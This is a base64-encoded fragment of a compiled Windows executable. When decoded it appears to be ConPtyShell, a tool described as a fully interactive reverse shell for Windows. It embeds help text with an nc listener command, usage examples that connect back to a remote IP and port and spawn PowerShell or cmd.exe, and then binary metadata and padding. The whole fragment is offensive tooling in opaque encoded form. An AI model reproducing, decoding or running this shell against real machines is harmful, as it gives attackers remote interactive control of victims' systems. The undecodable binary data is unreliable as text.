QAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAFIAZQB2AGUAcgBzAGUAIABTAGgAZQBsAGwAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAIAANAAoAQQB1AHQAaABvAHIAOgAgAHMAcABsAGkAbgB0AGUAcgBfAGMAbwBkAGUADQAKAEwAaQBjAGUAbgBzAGUAOgAgAE0ASQBUAA0ACgBTAG8AdQByAGMAZQA6ACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBhAG4AdABvAG4AaQBvAEMAbwBjAG8ALwBDAG8AbgBQAHQAeQBTAGgAZQBsAGwADQAKACAAIAAgACAADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIAByAGUAdgBlAHIAcwBlACAAcwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzAA0ACgANAAoAUAByAG8AcABlAHIAbAB5ACAAcwBlAHQAIAB0AGgAZQAgAHIAbwB3AHMAIABhAG4AZAAgAGMAbwBsAHMAIAB2AGEAbAB1AGUAcwAuACAAWQBvAHUAIABjAGEAbgAgAHIAZQB0AHIAaQBlAHYAZQAgAGkAdAAgAGYAcgBvAG0ADQAKAHkAbwB1AHIAIAB0AGUAcgBtAGkAbgBhAGwAIAB3AGkAdABoACAAdABoAGUAIABjAG8AbQBtAGEAbgBkACAAIgBzAHQAdAB5ACAAcwBpAHoAZQAiAC4ADQAKAA0ACgBZAG8AdQAgAGMAYQBuACAAYQB2AG8AaQBkACAAdABvACAAcwBlAHQAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMAIABpAGYAIAB5AG8AdQAgAHIAdQBuACAAeQBvAHUAcgAgAGwAaQBzAHQAZQBuAGUAcgANAAoAdwBpAHQAaAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkADoADQAKACAAIAAgACAAcwB0AHQAeQAgAHIAYQB3ACAALQBlAGMAaABvADsAIAAoAHMAdAB0AHkAIABzAGkAegBlADsAIABjAGEAdAApACAAfAAgAG4AYwAgAC0AbAB2AG4AcAAgADMAMAAwADEADQAKAA0ACgBJAGYAIAB5AG8AdQAgAHcAYQBuAHQAIAB0AG8AIABjAGgAYQBuAGcAZQAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQAgAHMAaQB6AGUAIABkAGkAcgBlAGMAdABsAHkAIABmAHIAbwBtACAAcABvAHcAZQByAHMAaABlAGwAbAANAAoAeQBvAHUAIABjAGEAbgAgAHAAYQBzAHQAZQAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABjAG8AbQBtAGEAbgBkAHMAOgANAAoAIAAgACAAIAAkAHcAaQBkAHQAaAA9ADgAMAANAAoAIAAgACAAIAAkAGgAZQBpAGcAaAB0AD0AMgA0AA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAEIAdQBmAGYAZQByAFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAoACQAdwBpAGQAdABoACwAIAAkAGgAZQBpAGcAaAB0ACkADQAKACAAIAAgACAAJABIAG8AcwB0AC4AVQBJAC4AUgBhAHcAVQBJAC4AVwBpAG4AZABvAHcAUwBpAHoAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4ASABvAHMAdAAuAFMAaQB6AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgANAAoAVQBzAGEAZwBlADoADQAKACAAIAAgACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAC4AZQB4AGUAIAByAGUAbQBvAHQAZQBfAGkAcAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgAFsAcgBvAHcAcwBdACAAWwBjAG8AbABzAF0AIABbAGMAbwBtAG0AYQBuAGQAbABpAG4AZQBdAA0ACgANAAoAUABvAHMAaQB0AGkAbwBuAGEAbAAgAGEAcgBnAHUAbQBlAG4AdABzADoADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBpAHAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAGkAcAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQADQAKACAAIAAgACAAcgBlAG0AbwB0AGUAXwBwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIAByAGUAbQBvAHQAZQAgAHAAbwByAHQAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAFsAcgBvAHcAcwBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAbwB3AHMAIABzAGkAegBlACAAZgBvAHIAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAyADQAIgANAAoAIAAgACAAIABbAGMAbwBsAHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABDAG8AbABzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAOAAwACIADQAKACAAIAAgACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGUAIABjAG8AbQBtAGEAbgBkAGwAaQBuAGUAIABvAGYAIAB0AGgAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAGcAbwBpAG4AZwAgAHQAbwAgAGkAbgB0AGUAcgBhAGMAdAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgBFAHgAYQBtAHAAbABlAHMAOgANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQANAAoAIAAgACAAIAANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAANAAoAIAAgACAAIAANAAoAIAAgACAAIABTAHAAYQB3AG4AIABhACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgACgAYwBtAGQALgBlAHgAZQApACAAdwBpAHQAaAAgAHMAcABlAGMAaQBmAGkAYwAgAHIAbwB3AHMAIABhAG4AZAAgAGMAbwBsAHMAIABzAGkAegBlAA0ACgAgACAAIAAgACAAIAAgACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAC4AZQB4AGUAIAAxADAALgAwAC4AMAAuADIAIAAzADAAMAAxACAAMwAwACAAOQAwACAAYwBtAGQALgBlAHgAZQANAAoADQAKAAE+nDwRckQUR5QSpKfPrVzpAAi3elxWGTTgiQIGDjh7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAIGCQQEAAAABAgAAAAEFgACAAQAAAgABAAAAAgCBggEAAEAAAQAABAABP////8EAAAAAAQAAACABAAAAEAEAQAAAAQCAAAABIAAAAAEAwAAAAT2////BPX///8E9P///wgABAIYCAgQGAoABwIYCRgYGBgYFQAKAg4OEBEYEBEYAgkYDhARDBARFBEACgIODhgYAgkYDhAREBARFAUAAgIYCQUAAgkYCQUAAgIIGAQAARgIBAABAhgLAAQCEBgQGBARGAgKAAcYDgkJGAkJGAoABQIYHQUJEAkYCgAFCBEcGBgJEBgEAAEIGAYAAgIYEAkDAAACBQACAhgIAwAAGAQAARgOBQACGBgOBgACEg0OCAkAAwESDRAJEAkLAAQBEBgQGBAYEBgJAAMBEBgQGBAYBgADARgYGAMAAAELAAUIEBgQGBAYCQkGAAIRDBgYCAACERQQEQwOBgACERQYDgQAAQEcBwACEhEYEg0IAAMSERgSDRgIAAUODggJCQ4DBhEQAgYYAgYGBAABAg4FAAEBHQ4EAAEODgQAAQgOBQABCR0OBQABDh0OAyAAAQQgAQEIBCABAQ4FIAEBESUBAgUAARIxDgYgAgESMQgEIAARPQkgAwERPRFBEUUFIAEBEjkDIAACBAAAEkkFIAEdBQ4FIAEIHQUMBwUSDRIxEjUSDR0FBAABAQgDIAAIByADDh0FCAgGIAEdDh0DAyAADgYAAgIOEAgOBwkdBQgICA4ODh0DHQMEAAEIHAQHAREYBAcCGBgEBwIJGAUHAggRHAUAAgIYGAMAAAgFAAIOHBwEAAEYGAYHAxgCEQwKBwURFBEYCBEYAgQAARgKBgcCEQwRFAIdHAggAwgdBQgRaQ0HCB0cGBINCR0FAggJBSACARwYBSABARJtBCABARwGBwIdHBIRDgcJHRwYEg0YCR0FAggJBwAEDg4cHBwFAAIODg4EAAEBDgYAAw4OHBwFIAEBEXUXBxAOEg0YGBgYGBgYGAIRFBEQCBIREhEFIAEBEX0FAAICDg4FAAASgIEHAAICDhASMQUgAgEOHAQHARIxAwcBCAMHAQkDBwEOCAcGDg4ICQkOCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQDgXAAAAAAAAAAAAAD+XAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8FwAAAAAAAAAAAAAAAAAAAAAX0NvckV4ZU1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYYAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAwAAAAQPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA